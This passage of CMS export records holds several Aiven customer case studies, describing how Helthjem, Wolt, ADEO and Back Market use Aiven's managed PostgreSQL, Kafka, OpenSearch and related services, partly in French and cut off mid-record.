center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-6a70eba9dd53418d034eb6f0dd9d99a2f873aaf6-1731x1155-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none"},{"_key":"063e1e581ca3","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"ac71366ce6ae","_type":"block","children":[{"_key":"aa15bf62e7170","_type":"span","marks":[],"text":"Li has been impressed with Aiven’s collaborative approach, which he thinks sets it apart from its competitors. “We suggest new features or fixes for Aiven to take into consideration, and quite often it makes them available,” he says. “Aiven makes life easier for us. There’s a clear mentality of ‘let's help the customer’ regardless of how much money you are paying.”"}],"markDefs":[],"style":"normal"},{"_key":"909b69bff4cc","_type":"block","children":[{"_key":"2d29bbfd7c6b0","_type":"span","marks":[],"text":"As to what comes next, Helthjem is looking into the role that AI could play in its business, and the PG Vector extension for PostgreSQL provided by Aiven looks promising. Li says: “We have a proprietary model for predicting delivery dates, and we're looking into converting that model into an echo database using PostgreSQL and PG Vector. That would allow us to run the model more dynamically and that gives us plenty of advantages.”"}],"markDefs":[],"style":"normal"},{"_key":"87b245cfc3c3","_type":"block","children":[{"_key":"7a9906eb70c90","_type":"span","marks":[],"text":"In addition, Li and his team are exploring Aiven for Clickhouse® as a back end for Plausible Analytics, an Elixir/Phoenix application. “That would make sure our analytics were fully compliant with GDPR,” says Li. “Right now, it looks like another service from Aiven that provides exactly what we need.”"}],"markDefs":[],"style":"normal"}],"title":"Next steps, new features — and emerging role for AI","variant":"oneColumn"},{"_key":"6781b6df62d6","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-de14f2cb52384b10b59bb575717cdb5314a52bd0-1200x628-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none"}],"heroSubtitle":"Aiven for PostgreSQL provides Helthjem with scalability, performance and peace of mind","heroTitle":"Helthjem Keeps Deliveries Running with Aiven","image":{"_type":"mainImage","asset":{"_ref":"image-1445acc13446fa13121f2d31c54855e0f50a7c87-4000x2661-png","_type":"reference"}},"publishedAt":"2024-01-29T11:50:08.280Z","seo":{"_type":"metaData","metaDescription":"Discover how Aiven for PostgreSQL provides Helthjem with scalability, performance and peace of mind.","metaImage":{"_type":"mainImage","alt":"Orange background with Aiven and Helthjem logos","asset":{"_ref":"image-6f7e89fdf066cb09622d3d5859b155e161eb3f5d-1200x628-png","_type":"reference"}},"metaTitle":"Helthjem Keeps Deliveries Running with Aiven"},"slug":{"_type":"slug","current":"/case-studies/helthjem-keeps-deliveries-running-with-aiven"},"title":"Helthjem Keeps Deliveries Running with Aiven"} {"__i18n_lang":"en","_createdAt":"2022-09-11T12:23:13Z","_id":"97a6f337-05d2-4247-9275-e89d42383441","_rev":"If5MXS1R4Zj7MKtcdBThj5","_type":"caseStudy","_updatedAt":"2024-02-13T14:38:37Z","additionalResources":{"items":[{"_key":"e60460fa0625","_ref":"5mphVpZ9KwsYIklKpnPm1Q","_type":"reference"},{"_key":"2484e3caeb35","_ref":"1lXo1w2g8BTdPN9kxrvRFI","_type":"reference"}],"subtitle":[{"_key":"0ca996d3ba06","_type":"block","children":[{"_key":"f0998282fa8a0","_type":"span","marks":[],"text":"Check out these related resources in our library!"}],"markDefs":[],"style":"normal"}],"title":"  Where to go next"},"company":{"_ref":"Qi6syfOyHgBi7ehXtqDgB","_type":"reference"},"content":[{"_key":"b5544c951114","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"85ef5bc2f4cb","_type":"block","children":[{"_key":"2823902bfa240","_type":"span","marks":[],"text":"Wolt is a local commerce company founded in 2014 in Helsinki, Finland and operating in 23 countries and 250+ cities around the world, serving millions of customers. Their mission is to save people’s time by making it easy to discover and get whatever they want brought straight to them, and to make cities better places to live. But Wolt is much, much more than just another delivery service. They are a technology company at heart, with their own robust, flexible and scalable platform for offering, ordering and delivering goods and services."}],"markDefs":[],"style":"normal"}],"title":"The overview","variant":"oneColumn"},{"_key":"922641f26335","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"fe7d6c261e1b","_type":"block","children":[{"_key":"625303ae7de10","_type":"span","marks":[],"text":"Wolt offers their technology and services in 23 countries with Aiven for Apache Kafka® and Aiven for OpenSearch."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b64c307e0a75","_type":"block","children":[{"_key":"bd8916087c870","_type":"span","marks":[],"text":"Large cost savings and improved business focus through use of managed services."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b0e15ad32f63","_type":"block","children":[{"_key":"cb1d0cbf600f0","_type":"span","marks":[],"text":"Using Apache Kafka avoids having to manage and scale hard-coded relationships between services."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1cd4d66dccab","_type":"block","children":[{"_key":"19348117b23b0","_type":"span","marks":[],"text":"Tool support and scalability contribute to ease of use."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Highlights","variant":"oneColumn"},{"_key":"2654c01a1268","_type":"testimonial","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"74543db50409","_ref":"4vuHMVNBnWET6rEqWvcdC7","_type":"reference"}],"rounded":false,"variant":"media"},{"_key":"6a5dbf530b03","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"28aceb8a694a","_type":"block","children":[{"_key":"ea65a9de2ac30","_type":"span","marks":[],"text":"From the very beginning, Wolt knew that their platform and technology would make or break their business. Technology would be the foundation for all their business goals and growth, and that meant it had to be high quality, stable, and scalable."}],"markDefs":[],"style":"normal"},{"_key":"2a7424c8eea0","_type":"block","children":[{"_key":"711f43c3171c0","_type":"span","marks":[],"text":"“One of the key enablers for us to compete successfully in the delivery space is the fact that Wolt has been investing heavily in the platform and the technology,” says "},{"_key":"711f43c3171c1","_type":"span","marks":["strong"],"text":"Mikko Peltola"},{"_key":"711f43c3171c2","_type":"span","marks":[],"text":", Head of Infrastructure at Wolt. “We’ve invested in building a platform that supports quick expansion and growth for our business.”"}],"markDefs":[],"style":"normal"},{"_key":"0b794d46ae62","_type":"block","children":[{"_key":"3d5cac4fba140","_type":"span","marks":[],"text":"The key factor was to find a technology supplier that offered enough flexibility and a complete enough feature set to support growth. At the same time, the solution had to be easy to set up and use. But the overarching concern was that whoever they went with, the service had to be reliable. “When you don’t have to worry about a service being down, you can concentrate on your own business,” says "},{"_key":"3d5cac4fba141","_type":"span","marks":["strong"],"text":"Jacopo Chiapparino"},{"_key":"3d5cac4fba142","_type":"span","marks":[],"text":", Wolt's Head of Engineering, Data."}],"markDefs":[],"style":"normal"},{"_key":"4ab3e63d6299","_type":"block","children":[{"_key":"ff6f8a49520d0","_type":"span","marks":[],"text":"Wolt has several good uses for the data that their services generate. Self-evidently, they need to handle that data to provide the actual service, complete the transactions, provide logistics and so on. This is all integral to the consumer experience of ordering goods and waiting for the delivery, and the courier experience of looking for the delivery destination."}],"markDefs":[],"style":"normal"},{"_key":"a117ab75be82","_type":"block","children":[{"_key":"2683b893239f0","_type":"span","marks":[],"text":"But there’s more to the story. Data is also analyzed to provide direction for operational improvement and product development."}],"markDefs":[],"style":"normal"},{"_key":"b8fb1345817b","_type":"block","children":[{"_key":"3b814a1fcad10","_type":"span","marks":[],"text":"“Data drives our decisions,” Jacopo says. This is why it’s important for Wolt to store and manipulate large amounts of data."}],"markDefs":[],"style":"normal"},{"_key":"28d83275d058","_type":"block","children":[{"_key":"609e0f3d4cb80","_type":"span","marks":[],"text":"Wolt’s old technical solution was based on Redis. Redis lacked the features to build a reliable messaging backbone, such as delivery semantics, guaranteed message delivery and message persistence."}],"markDefs":[],"style":"normal"},{"_key":"176bfe88f209","_type":"block","children":[{"_key":"31d9785141ae0","_type":"span","marks":[],"text":"Besides, Wolt was already having difficulty with moving data from their services into their data warehouse. Their solution at the time mostly relied on batch ingestions from endpoints. This didn’t scale well, as it continuously required the development of new endpoints and integrations by the product teams."}],"markDefs":[],"style":"normal"},{"_key":"8476c64d7067","_type":"block","children":[{"_key":"5f3cdbd578900","_type":"span","marks":[],"text":"In 2018, when scaling up became a critical next step, Wolt immediately saw dark clouds on the horizon."}],"markDefs":[],"style":"normal"}],"title":"The challenge","variant":"oneColumn"},{"_key":"da5ff3067a93","_type":"testimonial","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"564938f509e4","_ref":"1xzO7FhNJkUw8MVR8CQZH6","_type":"reference"}],"rounded":false,"variant":"media"},{"_key":"8134a274e6d9","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"a76b275e1d61","_type":"block","children":[{"_key":"870470b133440","_type":"span","marks":[],"text":"With the goal of building long-term and future-proof solutions, the choice to use Apache Kafka® was easy. Apache Kafka® is an industry standard that many Wolt engineers had used in production in their previous workplaces."}],"markDefs":[],"style":"normal"},{"_key":"f4cb16dde6f3","_type":"block","children":[{"_key":"aaec6fde92f10","_type":"span","marks":[],"text":"Peltola says they always wanted a managed service. Building their own Apache Kafka® architecture and managing it themselves would have been quite expensive. They had 50 engineers on the payroll at the time; the resources needed to manage an in-house Apache Kafka solution would have meant a significant shift away from developing their products and services."}],"markDefs":[],"style":"normal"},{"_key":"99b931f8bec5","_type":"block","children":[{"_key":"53ea4d9dc5690","_type":"span","marks":[],"text":"Risk management was another major reason why Wolt didn’t even consider self-managing. With the uptime guarantees given by a managed solution, the risk to their business in case of system failure would be virtually non-existent."}],"markDefs":[],"style":"normal"},{"_key":"82f378ea5cd5","_type":"block","children":[{"_key":"3e1e34a005e40","_type":"span","marks":[],"text":"So Wolt started investigating cloud solutions, and in March 2019, they found what they were looking for."}],"markDefs":[],"style":"normal"},{"_key":"73cb0da8bad1","_type":"block","children":[{"_key":"2a8afeb0e52a0","_type":"span","marks":[],"text":"They came across Aiven, and were impressed with the rich feature set and comprehensive tooling. With Aiven, they got a fully managed solution for Apache Kafka® with a 99.99% uptime guarantee. Aiven’s architecture also makes it "},{"_key":"2a8afeb0e52a1","_type":"span","marks":["strong"],"text":"easy to scale"},{"_key":"2a8afeb0e52a2","_type":"span","marks":[],"text":" up (or down) as required, which gave Wolt’s business the freedom to expand."}],"markDefs":[],"style":"normal"},{"_key":"4a7fcf5ecdea","_type":"block","children":[{"_key":"95c01507b9b60","_type":"span","marks":[],"text":"Another feature of Aiven’s that was critical for Wolt was "},{"_key":"95c01507b9b61","_type":"span","marks":["strong"],"text":"ease of use"},{"_key":"95c01507b9b62","_type":"span","marks":[],"text":". Jacopo explains that when introducing a new tool to an organization, learning to use it is the first hurdle to cross. In order to stay productive and to ensure that existing processes continue smoothly, the transition to new tools needs to be seamless."}],"markDefs":[],"style":"normal"},{"_key":"f02164effcca","_type":"block","children":[{"_key":"f0bd5b41d4940","_type":"span","marks":[],"text":"“When it came to maturity, tool support and interoperability, Aiven was clearly superior to the other providers we looked at,” Peltola says."}],"markDefs":[],"style":"normal"},{"_key":"d25c61bb8dcf","_type":"block","children":[{"_key":"57db555133e9","_type":"span","marks":[],"text":"Aiven for Wolt"}],"markDefs":[],"style":"h3"},{"_key":"112ebfa511d7","_type":"block","children":[{"_key":"1ef0880aa0a9","_type":"span","marks":[],"text":"At Wolt, Apache Kafka® is used both as a data broker and as an interservice communication tool. Data moves flexibly into permanent storage. The storage is not static, it can expand and become more granular without the team having to keep building endpoints and integrations."}],"markDefs":[],"style":"normal"},{"_key":"0134d0b8ffec","_type":"block","children":[{"_key":"d9f4dd3fd588","_type":"span","marks":[],"text":"According to Peltola, there are two main uses for Apache Kafka® at Wolt:"}],"markDefs":[],"style":"normal"},{"_key":"6610a4b5faf3","_type":"block","children":[{"_key":"b3f018b0498a","_type":"span","marks":[],"text":"Apache Kafka® acts as a “message bus” between services. This avoids having to manage and scale hard-coded relationships between services. It’s also a convenient way for services to interact with databases."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"5352bd785415","_type":"block","children":[{"_key":"799bf0a2bccb","_type":"span","marks":[],"text":"Apache Kafka® ingests data from databases and makes it available for data warehousing tools."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"}],"title":"The solution","variant":"oneColumn"},{"_key":"324884947368","_type":"coverImage","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-916bcbc601e0f05223abf31488f976325f63685f-2500x1302-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-916bcbc601e0f05223abf31488f976325f63685f-2500x1302-png","_type":"reference"}},"rounded":false},{"_key":"f8377a08d420","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"6bf2d46233c7","_type":"block","children":[{"_key":"1e35588384010","_type":"span","marks":[],"text":"Currently Aiven hosts all of Wolt’s Apache Kafka services. During their time with Aiven, Wolt has expanded their business significantly without stretching their in-house teams to breaking point. They are looking into using Apache Kafka® even more extensively, and are preparing to move all of their architecture over at some point. Any new Apache Kafka® instances are spun up with Aiven."}],"markDefs":[],"style":"normal"},{"_key":"1ec550cd935e","_type":"block","children":[{"_key":"ce7642f751600","_type":"span","marks":[],"text":"Wolt has found Aiven to be a reliable platform and they know they can trust it to stay up and do its job."}],"markDefs":[],"style":"normal"},{"_key":"2a88759d452d","_type":"block","children":[{"_key":"dabd217debbb0","_type":"span","marks":[],"text":"“I am so happy with the level of engineering at Aiven, knowledgeable tech support, tech account managers, and people we meet from Aiven,” says "},{"_key":"dabd217debbb1","_type":"span","marks":["strong"],"text":"Tatiana Koroleva"},{"_key":"dabd217debbb2","_type":"span","marks":[],"text":", Wolt’s DevOps guru. “They’re always ready to research and fix things and go an extra mile to help with integrations.”"}],"markDefs":[],"style":"normal"},{"_key":"f4b677741829","_type":"block","children":[{"_key":"0e34d6ffcca40","_type":"span","marks":[],"text":"Wolt also uses Aiven for OpenSearch for the search functionality in the Wolt mobile application. So whenever a user enters a search query, it’s not just Wolt who answers, it’s also Aiven!"}],"markDefs":[],"style":"normal"},{"_key":"1ccdf7cf4814","_type":"block","children":[{"_key":"bb74162cf2c50","_type":"span","marks":[],"text":"With Aiven, Wolt’s platform teams can focus on development work, not maintenance. “We have about five people working with staging, versus a hundred people working in platform development,” says Jacopo."}],"markDefs":[],"style":"normal"},{"_key":"64e78e56e852","_type":"block","children":[{"_key":"22ecbe0f9d4a0","_type":"span","marks":[],"text":"Wolt is very happy with its decision to go with Aiven for Apache Kafka®. “Kafka is a complex product and it can easily consume a lot of admin time just to keep it healthy,” says Peltola. “Managing, developing and scaling Kafka in-house is just like any other critical high volume system: it takes a lot of skill, time, research, care and vision to get it right. Managed Kafka has freed a lot of time for our teams to spend on things that add value. We’re talking about major savings here.”"}],"markDefs":[],"style":"normal"},{"_key":"53e026c4aacb","_type":"block","children":[{"_key":"544cfa09d6dc0","_type":"span","marks":[],"text":"Wolt has a substantial presence in the delivery market, especially in its native Finland. The startup claims more than 10 million users in 23 countries to whom it delivers orders with the help of more than 100,000 courier partners and tens of thousands of restaurant and retail partners. Aiven has been an integral enabler of that growth."}],"markDefs":[],"style":"normal"}],"title":"The outcome","variant":"oneColumn"},{"_key":"09300f537dce","_type":"testimonial","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"a3e1f5b1408d","_ref":"40ucogkq98cnZ5c9nSHFIF","_type":"reference"}],"rounded":false,"variant":"media"}],"heroSubtitle":"Wolt achieves major savings by using Aiven's managed data infrastructure. Find out how they are utilizing open source tools in the delivery technology space.","heroTitle":"Aiven delivers for Wolt’s business","image":{"_type":"mainImage","asset":{"_ref":"image-2c3e3f1f2eb352753a5de555b07dcfbf19cf8c53-1920x1037-jpg","_type":"reference"}},"publishedAt":"2022-08-04T11:02:00.000Z","seo":{"_type":"metaData","metaDescription":"Wolt achieves major savings by using Aiven's managed data infrastructure. Find out how they are utilizing open source tools in the delivery technology space.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-36723c1861bf7fc3866308aad86b969d2606d42c-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven delivers for Wolt’s business"},"slug":{"_type":"slug","current":"/case-studies/aiven-delivers-for-wolt-business"},"title":"Wolt"} {"__i18n_base":{"_ref":"e385d065-242f-4480-9df7-383c7a9cae13","_type":"reference"},"__i18n_lang":"fr","_createdAt":"2022-09-19T13:50:50Z","_id":"e385d065-242f-4480-9df7-383c7a9cae13__i18n_fr","_rev":"UPIPX87Xr8dUQrGWEJ51s3","_type":"caseStudy","_updatedAt":"2024-12-09T11:11:27Z","company":{"_ref":"3A6EbsdpVkSiacDkiNvUT5","_type":"reference"},"content":[{"_key":"2bf65a0f5a70","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"ee1d3e965ad1","_type":"block","children":[{"_key":"eb59371ad2c20","_type":"span","marks":[],"text":"Le groupe ADEO est le troisième plus grand acteur du marché mondial de l'amélioration de l'habitat. Fondé en 1986 et basé en France, ADEO sert plus de 450 millions de clients dans 15 pays et a révolutionné l'amélioration de l'habitat et le bricolage grâce à son immense échelle et une simple raison d’être : « se sentir utile dans tout ce que nous faisons - utile pour nous-mêmes, pour notre entourage, pour les autres et pour le monde »"}],"markDefs":[],"style":"normal"}],"title":"Aperçu","variant":"oneColumn"},{"_key":"4065132c2d97","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"16959c3762da","_type":"block","children":[{"_key":"49b101adb5e20","_type":"span","marks":[],"text":"La mission globale est profondément ancrée dans la psyché du groupe et guide la manière dont les choses sont faites en interne. Cependant, avec des données cloisonnées entre le siège et les différents départements au sein d'une communauté de 32 entreprises, être utile dans tout ce que l'on fait est plus facile à dire qu'à faire. Ces entités, dont les données sont éparpillées parmi des milliers de bases de données locales, s'intègrent au site web d'ADEO ainsi qu'à plus de 700 magasins physiques.\n\nUn défi majeur a été de transformer cette réalité en un modèle de données unifié basé sur le cloud sans interrompre les opérations quotidiennes de données d'un groupe servant des millions de clients tout en répondant aux cas d'utilisation modernes.\n\nLes cas d'utilisation traditionnels incluaient la gestion de la chaîne d'approvisionnement et des stocks, les relations avec les prestataires de services et les clients, avec des données généralement segmentées dans le temps et cloisonnées par emplacement. Aujourd'hui, le groupe a ajouté des analyses de données en temps réel et complètes.\n\n« Nous évoluons vers une compréhension basée sur l'analyse des données de ce que nous vendons en magasin pour mieux comprendre et prédire les habitudes de nos clients », déclare Julien Charlot, Responsable des Bases de Données et Middleware. « Nous voulons connecter les services aux produits que les gens achètent. Ainsi, l'application évoluera réellement ; nous pouvons passer des cas d'utilisation plus traditionnels à de nouveaux cas d'utilisation basés sur le cloud et la plateforme… et nous devons être capables de connecter toutes nos applications. »"}],"markDefs":[],"style":"normal"}],"title":"Le défi","variant":"oneColumn"},{"_key":"90751ceceea4","_type":"testimonial","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"ef94b5e48fdc","_ref":"6eyJ8ttwrIKikUTVBeUcEL__i18n_fr","_type":"reference"}],"rounded":false,"variant":"media"},{"_key":"58e7812b4749","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"a9928d298cdb","_type":"block","children":[{"_key":"5a349ca0f88a0","_type":"span","marks":[],"text":"At the cusp of a massive transformation, the data team started running just a few Kafka services, and soon began to realize just how much more easily they could meet their goals with hosted, managed cloud services."}],"markDefs":[],"style":"normal"},{"_key":"682f611d2453","_type":"block","children":[{"_key":"fa07a67bd2a90","_type":"span","marks":[],"text":"À l'aube d'une transformation massive, l'équipe de données a commencé à utiliser quelques services Kafka et a rapidement réalisé combien il serait plus facile d'atteindre ses objectifs avec des services cloud gérés et hébergés.\n\n« Il y a un an, nous avions besoin que notre équipe puisse fournir des services de bases de données très, très rapidement. » Julien explique qu'une fois le groupe a commencé à utiliser les services gérés et hébergés d’Aiven pour divers cas d'utilisation, « nous avons pu déployer des bases de données dans le cloud et mettre en place l'ensemble du processus de transformation en 2 à 3 mois. Même moins. »\n\nAujourd'hui, le groupe ADEO utilise des centaines de services Aiven, y compris PostgreSQL, Elasticsearch, Redis, MySQL et Apache Kafka, tant au siège que dans toutes les unités commerciales et magasins."}],"markDefs":[],"style":"normal"}],"title":"La solution","variant":"oneColumn"},{"_key":"d482c7d11582","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"44ff69af6b37","_type":"block","children":[{"_key":"e44a40c1413a0","_type":"span","marks":[],"text":"Un catalyseur majeur pour une transformation aussi rapide a été la flexibilité assurée par l’indépendance vis-à-vis du fournisseur de cloud d’Aiven, ce qui a aidé le groupe ADEO à éviter les écueils et le verrouillage rigide des fournisseurs. Julien a expliqué que dans certains territoires, certains fournisseurs de cloud peuvent ne pas être disponibles, mais la solution consistait simplement à déployer en un clic sur un autre fournisseur.\n\nCes capacités sont essentielles pour un groupe de sociétés unifié mais globalement distribué. Il a ajouté : « Avec Aiven, nous avons découvert des fonctionnalités que nous ne voyions pas directement avec les différents fournisseurs de cloud », y compris les dernières versions, la gestion des sauvegardes et la sécurité des données de bout en bout.\n\nEnfin, Julien souligne que la collaboration personnalisée avec Aiven pour la livraison des fonctionnalités est importante. « Pour moi, la relation avec Aiven est un véritable point fort. Nous pouvons facilement faire des demandes de fonctionnalités, comme la surveillance de la disponibilité. »\n\nAvec Aiven, l'infrastructure de données du groupe est passée d'une configuration cloisonnée, segmentée dans le temps et sur site à un modèle cloud centralisé, en temps réel et extrêmement flexible, permettant une vitesse de développement à un niveau entièrement nouveau.\n\nPour ADEO, cela représentait un mouvement stratégique majeur qui, avec Aiven, a été étonnamment facile. Grâce à ces changements de processus et de ressources, Aiven a aidé les capacités d'information du groupe à se développer vers l'avenir et au-delà."}],"markDefs":[],"style":"normal"}],"title":" Le résultat","variant":"oneColumn"},{"_key":"9a87386350d6","_type":"testimonial","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"ad8ed0effcc6","_ref":"3jhoeW4WtmLGAT0ZFNUpSq__i18n_fr","_type":"reference"}],"rounded":false,"variant":"media"}],"contentIsGated":false,"gatedContent":[{"_key":"8b50d533815f","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"057748f007e1","_type":"block","children":[{"_key":"913006408cc50","_type":"span","marks":[],"text":"The ADEO group, the 3rd largest global player in the home improvement market, is powered by a single data platform requiring the sort of tight integration that enables comprehensive insights that help them serve their customers."}],"markDefs":[],"style":"normal"},{"_key":"e15db7ea6dbf","_type":"block","children":[{"_key":"ac32fb39da540","_type":"span","marks":[],"text":"Although the databases and middleware team still supports thousands of on-premise database instances, they now use Aiven’s managed services (including Apache Kafka®, PostgreSQL®, OpenSearch, MySQL® and Redis™) to provide database and messaging services to internal users across the company."}],"markDefs":[],"style":"normal"},{"_key":"ce3d046f14c6","_type":"block","children":[{"_key":"aaf1e91ad5550","_type":"span","marks":[],"text":"But that isn’t the only reason ADEO group enjoys Aiven’s hosted services. Read on to find out why else, and how they transformed their data capabilities at scale using the Aiven platform."}],"markDefs":[],"style":"normal"}],"title":"Summary","variant":"oneColumn"}],"heroSubtitle":"Le conglomérat mondial ADEO, spécialisé dans l'amélioration de l'habitat, utilise une infrastructure basée sur Apache Kafka pour permettre des expériences d'achat omnicanal.","heroTitle":"Le Groupe ADEO Connecte les Produits aux Services avec Aiven","hostProviders":[{"_key":"e568e6f7b829","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"}],"iframeSource":{"iframeHeight":600,"iframeSource":"https://go.aiven.io/l/890043/2020-11-05/nyg","iframeTitle":"Adeo case study","title":"Read the rest of this case study by leaving your contact below. Your information is not shared publicly."},"image":{"_type":"mainImage","asset":{"_ref":"image-e7b4dee42866fc767de33d23af4cab54d8c6ed94-1812x978-jpg","_type":"reference"}},"industry":[{"_id":"21e66dfc-f88c-4f23-9238-0b848acaf2e0","label":"Retail","value":"retail"}],"publishedAt":"2021-09-03T10:58:00.000Z","region":"EMEA","seo":{"_type":"metaData","metaDescription":"Le conglomérat mondial ADEO, spécialisé dans l'amélioration de l'habitat, utilise une infrastructure basée sur Apache Kafka pour permettre des expériences d'achat omnicanal.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-a7a274eab14043631aea56b083909c78f076b2f5-1200x630-jpg","_type":"reference"}},"metaTitle":"Le Groupe ADEO Connecte les Produits aux Services avec Aiven"},"services":[{"_key":"52615196349d","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"e9a4ea7bc34d","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"},{"_key":"2e8b488f0eca","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"},{"_key":"26cf8e2f7e6e","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"reference"},{"_key":"afe8c426e54c","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"reference"}],"slug":{"_type":"slug","current":"/case-studies/aiven-cloud-helps-adeo"},"title":"Adeo"} {"__i18n_base":{"_ref":"e915be44-b540-44fc-a34f-d41bdacb82c8","_type":"reference"},"__i18n_lang":"fr","_createdAt":"2024-07-03T07:31:29Z","_id":"e915be44-b540-44fc-a34f-d41bdacb82c8__i18n_fr","_rev":"CsJhS699U5wscrFy7LA9v5","_type":"caseStudy","_updatedAt":"2024-12-09T11:46:20Z","company":{"_ref":"791c5a85-1bd2-402f-94e8-23035c3ce76a","_type":"reference"},"content":[{"_key":"a8bd0f1636ec","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"8dcc4ff3aa36","_type":"block","children":[{"_key":"b506ce65122d0","_type":"span","marks":[],"text":"La plateforme de Back Market connecte les acheteurs et les vendeurs d'appareils électroniques d'occasion reconditionnés. Pour renforcer son expansion mondiale et améliorer son service client, l'entreprise a pris la décision stratégique de transférer ses opérations vers Google Cloud. Cela comprenait la migration de ses clusters Aiven for Apache Kafka depuis un autre fournisseur de cloud, tout en garantissant l'absence de perte de données. Grâce à la plateforme Aiven, Back Market a pu effectuer cette migration avec des ressources limitées, un risque minimal et sans interruption, posant ainsi les bases d'une croissance commerciale accrue."}],"markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"oneColumn"},{"_key":"1634ca3c4484","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"b5c1aafa9bd5","_type":"block","children":[{"_key":"279962eecd1a0","_type":"span","marks":[],"text":"Fondée en 2014, Back Market a permis d'économiser un million de tonnes d'émissions de CO2 en détournant les acheteurs des appareils neufs et est devenue le leader mondial du secteur du reconditionnement. Au cours de ses dix premières années, l'entreprise a atteint plus de 13 millions de clients dans 18 pays. L'année dernière, Back Market a connu une croissance de 45 % avec un chiffre d'affaires de 320 millions d'euros, et les ventes continuent de croître rapidement. Aujourd'hui, l'entreprise se concentre sur le renforcement de sa position en Europe, l'expansion de sa présence en Asie, la consolidation de sa place aux États-Unis et l'élargissement des 200 catégories d'appareils reconditionnés disponibles sur sa plateforme."}],"markDefs":[],"style":"normal"},{"_key":"2863ca6792e2","_type":"block","children":[{"_key":"43fe3075a563","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"95602389051e","_type":"block","children":[{"_key":"408041483bb20","_type":"span","marks":[],"text":"Tout en poursuivant ces objectifs, Back Market doit garantir un service client irréprochable — un élément essentiel pour maintenir la confiance dans la plateforme et sa communauté de 1 700 reconditionneurs. L'entreprise s'appuie fortement sur des données et des analyses en temps réel pour optimiser les performances de la plateforme et offrir une expérience exceptionnelle aux acheteurs et aux vendeurs."}],"markDefs":[],"style":"normal"}],"title":"Un leader mondial des produits électroniques reconditionnés","topOverlap":false,"variant":"oneColumn"},{"_key":"f545e23507a7","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-69af87e2f887859f0f033dc6955eb8c708faef1b-1200x628-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false},{"_key":"e72b3bf17b5b","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center 